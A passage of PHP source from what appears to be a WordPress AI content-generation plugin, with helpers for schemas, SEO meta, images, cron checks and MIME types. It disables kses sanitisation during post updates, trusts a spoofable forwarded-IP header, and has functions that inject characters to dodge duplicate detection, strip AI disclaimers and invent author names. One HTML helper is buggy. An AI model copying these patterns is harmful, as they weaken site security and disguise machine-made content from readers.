$formattedParams[] = "$key => $value"; } } return implode(', ', $formattedParams); } class Aiomatic_Query_Parameter implements JsonSerializable { public $name; public $description; public $type; public $required; public function __construct( $name, $description, $type = "string", $required = false ) { if ( !preg_match('/^[a-zA-Z0-9_-]{1,64}$/', $name) ) { throw new InvalidArgumentException( "Invalid function name." ); } $this->name = $name; $this->description = $description; $this->type = $type; $this->required = $required; } #[\ReturnTypeWillChange] public function jsonSerialize() { $retz = [ 'type' => $this->type, 'description' => $this->description ]; if($this->type === 'array') { $retz['items'] = array('type' => 'string'); } return $retz; } } class Aiomatic_Query_Function implements JsonSerializable { public $name; public $description; public $parameters; public function __construct( $name, $description, $parameters = []) { if ( !preg_match( '/^[a-zA-Z0-9_-]{1,64}$/', $name ) ) { throw new InvalidArgumentException( "Invalid function name ($name). It must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 64." ); } foreach ( $parameters as $parameter ) { if ( !( $parameter instanceof Aiomatic_Query_Parameter ) ) { throw new InvalidArgumentException( "Invalid parameter." ); } } $this->name = $name; $this->description = $description; $this->parameters = $parameters; } #[\ReturnTypeWillChange] public function jsonSerialize() { $params = []; foreach( $this->parameters as $parameter ) { $params[ $parameter->name ] = $parameter; } $required = array_filter( $this->parameters, function( $param ) { return $param->required; } ); $required = array_map( function( $param ) { return $param->name; }, $required ); $json = [ 'name' => $this->name, 'description' => $this->description, 'parameters' => [ 'type' => 'object', 'properties' => $params, 'required' => $required ] ]; return $json; } } function aiomatic_gen_uid($l=6){ return substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyz"), 0, $l); } function aiomatic_get_amazon_sorts() { return array( 'none' => esc_html__('None', 'amazomatic-amazon-post-generator') , 'Relevance' => esc_html__('Relevance', 'amazomatic-amazon-post-generator') , 'Price:LowToHigh' => esc_html__('Price:LowToHigh', 'amazomatic-amazon-post-generator') , 'Price:HighToLow' => esc_html__('Price:HighToLow', 'amazomatic-amazon-post-generator') , 'NewestArrivals' => esc_html__('NewestArrivals', 'amazomatic-amazon-post-generator') , 'Featured' => esc_html__('Featured', 'amazomatic-amazon-post-generator') , 'AvgCustomerReviews' => esc_html__('AvgCustomerReviews', 'amazomatic-amazon-post-generator') ); } function aiomatic_get_amazon_codes() { return array( 'com' => esc_html__('United States', 'amazomatic-amazon-post-generator') , 'co.uk' => esc_html__('United Kingdom', 'amazomatic-amazon-post-generator') , 'ae' => esc_html__('United Arab Emirates', 'amazomatic-amazon-post-generator') , 'com.tr' => esc_html__('Turkey', 'amazomatic-amazon-post-generator') , 'es' => esc_html__('Spain', 'amazomatic-amazon-post-generator') , 'sg' => esc_html__('Singapore', 'amazomatic-amazon-post-generator') , 'com.mx' => esc_html__('Mexico', 'amazomatic-amazon-post-generator') , 'co.jp' => esc_html__('Japan', 'amazomatic-amazon-post-generator') , 'it' => esc_html__('Italy', 'amazomatic-amazon-post-generator') , 'ca' => esc_html__('Canada', 'amazomatic-amazon-post-generator') , 'de' => esc_html__('Germany', 'amazomatic-amazon-post-generator') , 'fr' => esc_html__('France', 'amazomatic-amazon-post-generator') , 'com.br' => esc_html__('Brasil', 'amazomatic-amazon-post-generator') , 'in' => esc_html__('India', 'amazomatic-amazon-post-generator') , 'com.au' => esc_html__('Australia', 'amazomatic-amazon-post-generator') , 'eg' => esc_html__('Egypt', 'amazomatic-amazon-post-generator') , 'pl' => esc_html__('Poland', 'amazomatic-amazon-post-generator') , 'sa' => esc_html__('Saudi Arabia', 'amazomatic-amazon-post-generator') , 'se' => esc_html__('Sweden', 'amazomatic-amazon-post-generator'), 'nl' => esc_html__('Netherlands', 'amazomatic-amazon-post-generator') ); } function addCharacterToVisibleText($html, $character) { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($html, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new DOMXPath($dom); $textNodes = $xpath->query('//text()'); if($textNodes !== false) { foreach ($textNodes as $textNode) { $nodeValue = $textNode->nodeValue; $visibleText = trim($nodeValue); if (!empty($visibleText)) { $randomPosition = rand(0, 1); $newText = str_replace(' ', $character . ' ', $visibleText); if ($randomPosition == 0) { $newText = $character . $newText; } else { $newText .= $character; } $textNode->nodeValue = $newText; } } } $modifiedHtml = $dom->saveHTML(); $modifiedHtml = preg_replace('~<(?:!DOCTYPE|/?(?:html|body))[^>]*>\s*~i', '', $modifiedHtml); if(!empty($modifiedHtml)) { return $modifiedHtml; } return $html; } function aiomatic_compare_fill(&$measure, &$fill) { $zarr = []; foreach($measure as $mej) { $xmej = explode(',', $mej); foreach($xmej as $newm) { $zarr[] = $newm; } } if (count($zarr) != count($fill)) { while (count($fill) < count($zarr) ) { $fill = array_merge( $fill, array_values($fill) ); } $fill = array_slice($fill, 0, count($zarr)); } } function aiomatic_my_user_by_rand( $ua ) { remove_action('pre_user_query', 'aiomatic_my_user_by_rand'); $ua->query_orderby = str_replace( 'user_login ASC', 'RAND()', $ua->query_orderby ); } function aiomatic_stringContainsArrayChars($string, $charsArray) { foreach ($charsArray as $char) { if (strpos($string, $char) !== false) { return true; } } return false; } function aiomatic_limitStringTo($input, $maxLength) { if (strlen($input) <= $maxLength) { return $input; } return substr($input, -$maxLength); } function aiomatic_display_random_user(){ add_action('pre_user_query', 'aiomatic_my_user_by_rand'); $args = array( 'orderby' => 'user_login', 'order' => 'ASC', 'number' => 1, 'role__in' => array( 'contributor','author','editor','administrator','super-admin' ) ); $user_query = new WP_User_Query( $args ); $user_query->query(); $results = $user_query->results; if(empty($results)) { return false; } shuffle($results); return array_pop($results); } function aiomatic_make_unique($text, $characters, $percentage) { if(!is_array($characters) || empty($characters)) { return $text; } $result = ''; $htmlfounds = array(); $pre_tags_matches = array(); $pre_tags_matches_s = array(); $conseqMatchs = array(); $final_content_pre = aiomatic_replaceExcludes($text, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs); $textLength = strlen($final_content_pre); for ($i = 0; $i < $textLength; $i++) { if ($final_content_pre[$i] == ' ' && rand(1, 100) <= $percentage) { $character = $characters[array_rand($characters)]; $randomPosition = rand(0, 1); if ($randomPosition == 0) { $result .= $character . ' '; } else { $result .= ' ' . $character; } } else { $result .= $final_content_pre[$i]; } } if(empty($result)) { return $text; } $result = aiomatic_restoreExcludes($result, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs); return $result; } function aiomatic_make_unique_HTML($text, $characters, $percentage) { if(!is_array($characters)) { return $text; } $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($text, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new DOMXPath($dom); $textNodes = $xpath->query('//text()'); if($textNodes !== false) { foreach ($textNodes as $textNode) { $result = ''; $nodeValue = $textNode->nodeValue; $visibleText = trim($nodeValue); if (!empty($visibleText)) { $textLength = strlen($visibleText); for ($i = 0; $i < $textLength; $i++) { if ($visibleText[$i] == ' ' && rand(1, 100) <= $percentage) { $randomPosition = rand(0, 1); $character = $characters[array_rand($characters)]; if ($randomPosition == 0) { $result .= $character . ' '; } else { $result .= ' ' . $character; } } else { $result .= $text[$i]; } } $textNode->nodeValue = $result; } } } $modifiedHtml = $dom->saveHTML(); $modifiedHtml = preg_replace('~<(?:!DOCTYPE|/?(?:html|body))[^>]*>\s*~i', '', $modifiedHtml); if(!empty($modifiedHtml)) { return $modifiedHtml; } return $text; } function aiomatic_randomName() { $firstname = array( 'Johnathon', 'Anthony', 'Erasmo', 'Raleigh', 'Nancie', 'Tama', 'Camellia', 'Augustine', 'Christeen', 'Luz', 'Diego', 'Lyndia', 'Thomas', 'Georgianna', 'Leigha', 'Alejandro', 'Marquis', 'Joan', 'Stephania', 'Elroy', 'Zonia', 'Buffy', 'Sharie', 'Blythe', 'Gaylene', 'Elida', 'Randy', 'Margarete', 'Margarett', 'Dion', 'Tomi', 'Arden', 'Clora', 'Laine', 'Becki', 'Margherita', 'Bong', 'Jeanice', 'Qiana', 'Lawanda', 'Rebecka', 'Maribel', 'Tami', 'Yuri', 'Michele', 'Rubi', 'Larisa', 'Lloyd', 'Tyisha', 'Samatha', ); $lastname = array( 'Mischke', 'Serna', 'Pingree', 'Mcnaught', 'Pepper', 'Schildgen', 'Mongold', 'Wrona', 'Geddes', 'Lanz', 'Fetzer', 'Schroeder', 'Block', 'Mayoral', 'Fleishman', 'Roberie', 'Latson', 'Lupo', 'Motsinger', 'Drews', 'Coby', 'Redner', 'Culton', 'Howe', 'Stoval', 'Michaud', 'Mote', 'Menjivar', 'Wiers', 'Paris', 'Grisby', 'Noren', 'Damron', 'Kazmierczak', 'Haslett', 'Guillemette', 'Buresh', 'Center', 'Kucera', 'Catt', 'Badon', 'Grumbles', 'Antes', 'Byron', 'Volkman', 'Klemp', 'Pekar', 'Pecora', 'Schewe', 'Ramage', ); $name = $firstname[rand ( 0 , count($firstname) -1)]; $name .= ' '; $name .= $lastname[rand ( 0 , count($lastname) -1)]; return $name; } function aiomatic_get_transients_by_regex($pattern, $users_per_page, &$trnsi_cnt) { $transi_count = 0; global $wpdb; $transients = $wpdb->get_col(" SELECT option_name FROM $wpdb->options WHERE option_name REGEXP '^_transient_" . $wpdb->esc_like($pattern) . "' "); $transient_values = array(); foreach ($transients as $transient) { $transient_name = str_replace('_transient_', '', $transient); $transient_value = get_transient($transient_name); if ($transient_value !== false) { if(count($transient_values) < $users_per_page) { $transient_values[$transient_name] = $transient_value; } $transi_count++; } } $trnsi_cnt = $transi_count; return $transient_values; } function aiomatic_log_exec_time($context) { ob_start(); phpinfo(); $phpinfoOutput = ob_get_clean(); $timeoutPattern = '#max_execution_time<\/td>([^<]+)<#i'; if (preg_match_all($timeoutPattern, $phpinfoOutput, $matches)) { $maxExecutionTime = intval($matches[1][0]); aiomatic_log_to_file("[" . $context . "] Starting execution, setting max_execution_time: " . $maxExecutionTime . " seconds"); } else { aiomatic_log_to_file("[" . $context . "] Max Execution Time (ini_set) not found"); } } function aiomatic_removeUrlParameter($url, $paramKey) { $parsedUrl = parse_url($url); if (isset($parsedUrl['query'])) { parse_str($parsedUrl['query'], $params); if(isset($params[$paramKey])) { unset($params[$paramKey]); } $query = http_build_query($params); $updatedUrl = $parsedUrl['path'] . '?' . $query; } else { $updatedUrl = $url; } return $updatedUrl; } function aiomatic_get_the_user_ip() { if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } return apply_filters( 'aiomatic_get_ip', $ip ); } function aiomatic_test_post_reponse() { $post_response = wp_safe_remote_post( 'https://www.paypal.com/cgi-bin/webscr', array( 'timeout' => 60, 'httpversion' => '1.1', 'body' => array( 'cmd' => '_notify-validate', ), ) ); if ( ! is_wp_error( $post_response ) && $post_response['response']['code'] >= 200 && $post_response['response']['code'] < 300 ) { return true; } return false; } function aiomatic_test_get_reponse() { $get_response = wp_safe_remote_get( 'https://woocommerce.com/wc-api/product-key-api?request=ping&network=' . ( is_multisite() ? '1' : '0' ) ); if ( ! is_wp_error( $get_response ) && $get_response['response']['code'] >= 200 && $get_response['response']['code'] < 300 ) { return true; } return false; } function aiomatic_check_cron_status() { global $wp_version; if ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) { /* translators: 1: The name of the PHP constant that is set. */ return new WP_Error( 'crontrol_info', sprintf( __( 'The %s constant is set to true. WP-Cron spawning is disabled.', 'wp-content-pilot' ), 'DISABLE_WP_CRON' ) ); } if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) { /* translators: 1: The name of the PHP constant that is set. */ return new WP_Error( 'crontrol_info', sprintf( __( 'The %s constant is set to true.', 'wp-content-pilot' ), 'ALTERNATE_WP_CRON' ) ); } $cached_status = get_transient( 'wpcp-cron-test-ok' ); if ( $cached_status ) { return true; } $sslverify = version_compare( $wp_version, 4.0, '<' ); $doing_wp_cron = sprintf( '%.22F', microtime( true ) ); $cron_request = apply_filters( 'cron_request', array( 'url' => site_url( 'wp-cron.php?doing_wp_cron=' . $doing_wp_cron ), 'key' => $doing_wp_cron, 'args' => array( 'timeout' => 30, 'blocking' => true, 'sslverify' => apply_filters( 'https_local_ssl_verify', $sslverify ), ), ) ); $cron_request['args']['blocking'] = true; $result = wp_remote_post( $cron_request['url'], $cron_request['args'] ); if ( is_wp_error( $result ) ) { return $result; } elseif ( wp_remote_retrieve_response_code( $result ) >= 300 ) { return new WP_Error( 'unexpected_http_response_code', sprintf( /* translators: 1: The HTTP response code. */ __( 'Unexpected HTTP response code: %s', 'wp-content-pilot' ), intval( wp_remote_retrieve_response_code( $result ) ) ) ); } else { set_transient( 'wpcp-cron-test-ok', 1, 3600 ); return true; } } function aiomatic_let_to_num( $size ) { $l = substr( $size, - 1 ); $ret = substr( $size, 0, - 1 ); switch ( strtoupper( $l ) ) { case 'P': $ret *= 1024; case 'T': $ret *= 1024; case 'G': $ret *= 1024; case 'M': $ret *= 1024; case 'K': $ret *= 1024; } return $ret; } function aiomatic_substr($prompt, $start, $len = null) { if(function_exists('mb_substr')) { $prompt = mb_substr($prompt, $start, $len, 'UTF-8'); } else { $prompt = substr($prompt, $start, $len); } return $prompt; } function aiomatic_seo_plugins_active() { if (!function_exists('is_plugin_active')) { include_once(ABSPATH . 'wp-admin/includes/plugin.php'); } $seo_plugin_activated = false; if(is_plugin_active('wordpress-seo/wp-seo.php')){ $seo_plugin_activated = '_yoast_wpseo_metadesc'; } elseif(is_plugin_active('all-in-one-seo-pack/all_in_one_seo_pack.php')){ $seo_plugin_activated = '_aioseo_description'; } elseif(is_plugin_active('seo-by-rank-math/rank-math.php')){ $seo_plugin_activated = 'rank_math_description'; } elseif(is_plugin_active('autodescription/autodescription.php')){ $seo_plugin_activated = '_genesis_description'; } return $seo_plugin_activated; } function aiomatic_save_seo_description($post_id, $description) { global $wpdb; if(empty($description)) { return; } $seo_plugin_activated = aiomatic_seo_plugins_active(); if($seo_plugin_activated == '_yoast_wpseo_metadesc') { update_post_meta($post_id, $seo_plugin_activated, $description); } elseif($seo_plugin_activated == '_aioseo_description') { update_post_meta($post_id, $seo_plugin_activated, $description); $check = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix."aioseo_posts WHERE post_id=%d",$post_id)); if($check) { $wpdb->update($wpdb->prefix.'aioseo_posts',array( 'description' => $description ), array( 'post_id' => $post_id )); } else{ $wpdb->insert($wpdb->prefix.'aioseo_posts',array( 'post_id' => $post_id, 'description' => $description, 'created' => date('Y-m-d H:i:s'), 'updated' => date('Y-m-d H:i:s') )); } } elseif($seo_plugin_activated == 'rank_math_description') { update_post_meta($post_id, $seo_plugin_activated, $description); } elseif($seo_plugin_activated == '_genesis_description') { update_post_meta($post_id, $seo_plugin_activated, $description); } elseif($seo_plugin_activated == false) { $seo_plugin_activated = 'aiomatic_html_meta'; update_post_meta($post_id, $seo_plugin_activated, $description); } } function aiomatic_change_post_status($post_id, $status){ $current_post = get_post( $post_id, 'ARRAY_A' ); $current_post['post_status'] = $status; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); wp_update_post($current_post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); } function aiomatic_save_term_seo_description($term_id, $description, $taxonomy) { if(empty($description)) { return; } $seo_plugin_activated = aiomatic_seo_plugins_active(); if($seo_plugin_activated == '_yoast_wpseo_metadesc') { $yoast_options = get_option('wpseo_taxonomy_meta'); $yoast_options[$taxonomy][$term_id]['wpseo_desc'] = $description; update_option('wpseo_taxonomy_meta', $yoast_options); } elseif($seo_plugin_activated == '_aioseo_description') { update_term_meta($term_id, '_aioseop_description', $description); } elseif($seo_plugin_activated == 'rank_math_description') { update_term_meta($term_id, 'rank_math_description', $description); } elseif($seo_plugin_activated == '_genesis_description') { update_term_meta($term_id, $seo_plugin_activated, $description); } elseif($seo_plugin_activated == false) { $seo_plugin_activated = 'aiomatic_html_meta'; update_term_meta($term_id, $seo_plugin_activated, $description); } } function aiomatic_get_random_word($min = 4, $max = 10) { $word = array_merge(range('a', 'z'), range('A', 'Z')); shuffle($word); $len = rand($min, $max); return substr(implode($word), 0, $len); } function aiomatic_extract_keywords_from_prompt( $prompt ) { $stop_words = array( 'the', 'is', 'at', 'of', 'on', 'and', 'a', 'to', 'in', 'with' ); $words = explode( ' ', strtolower( $prompt ) ); $keywords = array_diff( $words, $stop_words ); $keywords = array_slice( $keywords, 0, 5 ); return implode( '-', $keywords ); } function aiomatic_media_sideload_image( $file, $post_id = 0, $desc = null, $return_type = 'html', $file_name = '' ) { if ( ! empty( $file ) ) { $allowed_extensions = array( 'jpg', 'jpeg', 'jpe', 'png', 'gif', 'webp' ); $allowed_extensions = apply_filters( 'image_sideload_extensions', $allowed_extensions, $file ); $allowed_extensions = array_map( 'preg_quote', $allowed_extensions ); preg_match( '/[^\?]+\.(' . implode( '|', $allowed_extensions ) . ')\b/i', $file, $matches ); if ( ! $matches ) { return new WP_Error( 'image_sideload_failed', __( 'Invalid image URL.' ) ); } $file_array = array(); if(empty($file_name)) { $file_array['name'] = wp_basename( $matches[0] ); } else { $file_info = pathinfo( $matches[0] ); $file_extension = isset($file_info['extension']) ? $file_info['extension'] : ''; $file_array['name'] = $file_name . ($file_extension ? '.' . $file_extension : ''); } $file_array['tmp_name'] = download_url( $file ); if(is_wp_error($file_array['tmp_name'])) { return new WP_Error( 'File download error: ' . $file ); } if ( is_wp_error( $file_array['tmp_name'] ) ) { return $file_array['tmp_name']; } $id = media_handle_sideload( $file_array, $post_id, $desc ); if ( is_wp_error( $id ) ) { @unlink( $file_array['tmp_name'] ); return $id; } add_post_meta( $id, '_source_url', $file ); if ( 'id' === $return_type ) { return $id; } $src = wp_get_attachment_url( $id ); } if ( ! empty( $src ) ) { if ( 'src' === $return_type ) { return $src; } $alt = isset( $desc ) ? esc_attr( $desc ) : ''; $html = "$alt"; return $html; } else { return new WP_Error( 'image_sideload_failed' ); } } function aiomatic_is_gutenberg_page() { if ( function_exists( 'is_gutenberg_page' ) && is_gutenberg_page() ) { return true; } $current_screen = get_current_screen(); if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) { return true; } return false; } function aiomatic_get_api_service($token, $aimodel) { if(aiomatic_is_perplexity_model($aimodel)) { $api_service = 'PerplexityAI'; } elseif(aiomatic_is_claude_model($aimodel)) { $api_service = 'Anthropic'; } elseif(aiomatic_is_google_model($aimodel)) { $api_service = 'GoogleAI'; } elseif(aiomatic_check_if_midjourney($aimodel)) { $api_service = 'Midjourney'; } elseif(aiomatic_is_openrouter_model($aimodel)) { $api_service = 'OpenRouter'; } elseif(aiomatic_is_huggingface_model($aimodel)) { $api_service = 'HuggingFace'; } elseif(aiomatic_is_ollama_model($aimodel)) { $api_service = 'Ollama'; } elseif(aiomatic_check_if_stable($aimodel)) { $api_service = 'StableDiffusion'; } else { if(aiomatic_is_aiomaticapi_key($token)) { $api_service = 'AiomaticAPI'; } else { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure($aiomatic_Main_Settings)) { $api_service = 'Microsoft Azure OpenAI'; } else { $api_service = 'OpenAI'; } } } return $api_service; } function aiomatic_check_is_elementor($postid) { if (!function_exists('is_plugin_active')) { include_once(ABSPATH . 'wp-admin/includes/plugin.php'); } if (!is_plugin_active( 'elementor/elementor.php' )) { return false; } if(!isset(\Elementor\Plugin::$instance)) { return false; } return \Elementor\Plugin::$instance->db->is_built_with_elementor($postid); } function aiomatic_upload_base64_image($base64_img, $title, $post_id) { $upload_dir = wp_upload_dir(); $upload_path = str_replace( '/', DIRECTORY_SEPARATOR, $upload_dir['path'] ) . DIRECTORY_SEPARATOR; $image_parts = explode(";base64,", $base64_img); $decoded = base64_decode($image_parts[1]); $filename = sanitize_title($title) . '.png'; $hashed_filename = md5( $filename . microtime() ) . '_' . $filename; global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $ret = $wp_filesystem->put_contents( $upload_path . $hashed_filename, $decoded ); if ($ret === FALSE) { aiomatic_log_to_file('Failed to copy image locally ' . $upload_path . $hashed_filename); return false; } require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); require_once(ABSPATH . 'wp-admin/includes/file.php'); $file = array(); $file['error'] = ''; $file['tmp_name'] = $upload_path . $hashed_filename; $file['name'] = $hashed_filename; $file['type'] = 'image/png'; $file['size'] = $wp_filesystem->size( $upload_path . $hashed_filename ); $file_return = wp_handle_sideload($file, array( 'test_form' => false )); if(!isset($file_return['file'])) { aiomatic_log_to_file('Failed to copy image file locally ' . $upload_path . $hashed_filename . ': ' . print_r($file_return, true)); return false; } $filename = $file_return['file']; $attachment = array( 'post_mime_type' => $file_return['type'], 'post_title' => preg_replace('/\.[^.]+$/', '', basename($filename)), 'post_content' => '', 'post_status' => 'inherit', 'guid' => $upload_dir['url'] . '/' . basename($filename) ); $attach_id = wp_insert_attachment( $attachment, $filename, $post_id ); require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); $attach_data = wp_generate_attachment_metadata($attach_id, $filename); wp_update_attachment_metadata($attach_id, $attach_data); return $attach_id; } function aiomatic_my_get_current_user_roles() { if( is_user_logged_in() ) { $user = wp_get_current_user(); $roles = ( array ) $user->roles; return $roles; } else { return array(); } } function aiomatic_my_get_current_user_subscriptions() { $levels = array(); if(class_exists('Ihc_Db')) { if( is_user_logged_in() ) { $current_user = wp_get_current_user(); if(isset($current_user->ID)) { $user_sub_data = Ihc_Db::get_user_levels($current_user->ID, true); if(is_array($user_sub_data)) { foreach($user_sub_data as $udata) { if(isset($udata['level_id'])) { $levels[] = $udata['level_id']; } } } } } } return $levels; } function aiomatic_get_assistant() { $aiomatic_assistant_defaults = array("Write a paragraph on this" => array( "0" => 'Write a paragraph on this topic: %%selected_text%% ---- Written paragraph: ', "1" => 'text' ), "Continue this text" => Array ( "0" => 'Continue this text: %%selected_text%% ---- Continued text: ', "1" => 'text' ), "Generate ideas on this" => Array ( "0"=> 'Write a few ideas on that as bullet points: %%selected_text%% ---- Generated ideas in bullet points: ', "1" => 'text' ), "Write an article about this" => Array ( "0" => 'Write a complete article about this: %%selected_text%% ---- Written article: ', "1" => 'text' ), "Turn this into an Ad" => Array ( "0" => 'Turn the following text into a creative advertisement: %%selected_text%% ---- Advertisement: ', "1" => 'text' ), "Explain this to a 5 year old" => Array ( "0" => 'Explain this to a 5 years old kid: %%selected_text%% ---- Explanation: ', "1" => 'text' ), "Find a matching quote for this" => Array ( "0" => 'Find a matching quote for the following text: %%selected_text%% ---- Matching quote: ', "1" => 'text' ), "Generate a subtitle for this" => Array ( "0" => 'Generate a title for this text: %%selected_text%% ---- Title: ', "1" => 'text' ), "Generate a TL;DR of this" => Array ( "0" => 'Write a TL;DR for this text: %%selected_text%% ---- TL;DR: ', "1" => 'text' ), "Generate a Call to Action fo this" => Array ( "0" => 'Generate a call to action about this: %%selected_text%% ---- Call to action: ', "1" => 'text' ), "Summarize this" => Array ( "0" => 'Summarize this text: %%selected_text%% ---- Summary: ', "1" => 'text' ), "Expand this" => Array ( "0" => 'Expand this text: %%selected_text%% ---- Expanded text: ', "1" => 'text' ), "Make a bulleted list for this" => Array ( "0" => 'Make a C for this: %%selected_text%% ---- Bulleted list: ', "1" => 'text' ), "Rewrite this" => Array ( "0" => 'Rewrite this text: %%selected_text%% ---- Rewritten text: ', "1" => 'text' ), "Paraphrase this" => Array ( "0" => 'Paraphrase this text: %%selected_text%% ---- Paraphrased text: ', "1" => 'text' ), "Fix grammar of this" => Array ( "0" => 'Fix grammar of this text: %%selected_text%% ---- Text with fixed grammar: ', "1" => 'text' ), "Generate a question of this" => Array ( "0" => 'Generate a question about this text: %%selected_text%% ---- Question: ', "1" => 'text' ), "Convert this to passive voice" => Array ( "0" => 'Convert this text to passive voice: %%selected_text%% ---- Converted text to passive voice: ', "1" => 'text' ), "Convert this to active voice" => Array ( "0" => 'Convert this text to active voice: %%selected_text%% ---- Converted text to active voice: ', "1" => 'text' ), "Write a conclusion for this" => Array ( "0" => 'Write a conclusion for this text: %%selected_text%% ---- Conclusion: ', "1" => 'text' ), "Write a counterargument for this" => Array ( "0" => 'Wite a counterargument for this text: %%selected_text%% ---- Counterargument: ', "1" => 'text' ), "Translate this to Spanish" => Array ( "0" => 'Translate this text to Spanish: %%selected_text%% ---- Spanish translation: ', "1" => 'text' ), "Generate an image idea for this" => Array ( "0" => 'Describe an image that would match this text: %%selected_text%% ---- Image description: ', "1" => 'text' ), "Generate an image of this" => Array ( "0" => 'A image of: %%selected_text%%', "1" => 'image' ) ); $rules = get_option('aiomatic_assistant_list', array()); if(!is_array($rules)) { $rules = array(); } if(empty($rules)) { $rules = $aiomatic_assistant_defaults; } return $rules; } function aiomatic_hex2rgb($hex) { $hex = str_replace("#", "", $hex); if(strlen($hex) == 3) { $r = hexdec(substr($hex,0,1).substr($hex,0,1)); $g = hexdec(substr($hex,1,1).substr($hex,1,1)); $b = hexdec(substr($hex,2,1).substr($hex,2,1)); } else { $r = hexdec(substr($hex,0,2)); $g = hexdec(substr($hex,2,2)); $b = hexdec(substr($hex,4,2)); } $rgb = array($r, $g, $b); return implode(",", $rgb); } function aiomatic_array_unique($array, $keep_key_assoc = false){ $duplicate_keys = array(); $tmp = array(); foreach ($array as $key => $val){ if (is_object($val)) $val = (array)$val; if (!in_array($val, $tmp)) $tmp[] = $val; else $duplicate_keys[] = $key; } foreach ($duplicate_keys as $key) unset($array[$key]); return $keep_key_assoc ? $array : array_values($array); } function aiomatic_clean_language_model_texts($content) { $content = preg_replace('#As an? (?:AI )?languau?ge model(?: AI)?,?\s?#i' , '', $content); return $content; } function aiomatic_trailing_comma($incrementor, $count, &$subject) { $stopper = $count - 1; if ($incrementor !== $stopper) { return $subject .= ','; } } function aiomatic_auto_clear_log() { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if ($wp_filesystem->exists(WP_CONTENT_DIR . '/aiomatic_info.log')) { $wp_filesystem->delete(WP_CONTENT_DIR . '/aiomatic_info.log'); } } function aiomatic_isSecure() { return (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443; } function aiomatic_get_mime ($filename) { $mime_types = array( 'txt' => 'text/plain', 'htm' => 'text/html', 'html' => 'text/html', 'php' => 'text/html', 'css' => 'text/css', 'js' => 'application/javascript', 'json' => 'application/json', 'xml' => 'application/xml', 'swf' => 'application/x-shockwave-flash', 'flv' => 'video/x-flv', 'png' => 'image/png', 'jpe' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'gif' => 'image/gif', 'bmp' => 'image/bmp', 'ico' => 'image/vnd.microsoft.icon', 'tiff' => 'image/tiff', 'mts' => 'video/mp2t', 'tif' => 'image/tiff', 'svg' => 'image/svg+xml', 'svgz' => 'image/svg+xml', 'zip' => 'application/zip', 'rar' => 'application/x-rar-compressed', 'exe' => 'application/x-msdownload', 'msi' => 'application/x-msdownload', 'cab' => 'application/vnd.ms-cab-compressed', 'mp3' => 'audio/mpeg', 'qt' => 'video/quicktime', 'mov' => 'video/quicktime', 'wmv' => 'video/x-ms-wmv', 'mp4' => 'video/mp4', 'm4p' => 'video/m4p', 'm4v' => 'video/m4v', 'mpg' => 'video/mpg', 'mp2' => 'video/mp2', 'mpe' => 'video/mpe', 'mpv' => 'video/mpv', 'm2v' => 'video/m2v', 'm4v' => 'video/m4v', '3g2' => 'video/3g2', '3gpp' => 'video/3gpp', 'f4v' => 'video/f4v', 'f4p' => 'video/f4p', 'f4a' => 'video/f4a', 'f4b' => 'video/f4b', '3gp' => 'video/3gp', 'avi' => 'video/x-msvideo', 'mpeg' => 'video/mpeg', 'mpegps' => 'video/mpeg', 'webm' => 'video/webm', 'mpeg4' => 'video/mp4', 'mkv' => 'video/mkv', 'pdf' => 'application/pdf', 'psd' => 'image/vnd.adobe.photoshop', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'doc' => 'application/msword', 'rtf' => 'application/rtf', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'docx' => 'application/msword', 'xlsx' => 'application/vnd.ms-excel', 'pptx' => 'application/vnd.ms-powerpoint', 'odt' => 'application/vnd.oasis.opendocument.text', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', ); $ext = array_values(array_slice(explode('.', $filename), -1));$ext = $ext[0]; if(stristr($filename, 'dailymotion.com')) { return 'application/octet-stream'; } if (function_exists('mime_content_type')) { error_reporting(0); $mimetype = mime_content_type($filename); error_reporting(E_ALL); if($mimetype == '') { if (array_key_exists($ext, $mime_types)) { return $mime_types[$ext]; } else { return 'application/octet-stream'; } } return $mimetype; } elseif (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME); $mimetype = finfo_file($finfo, 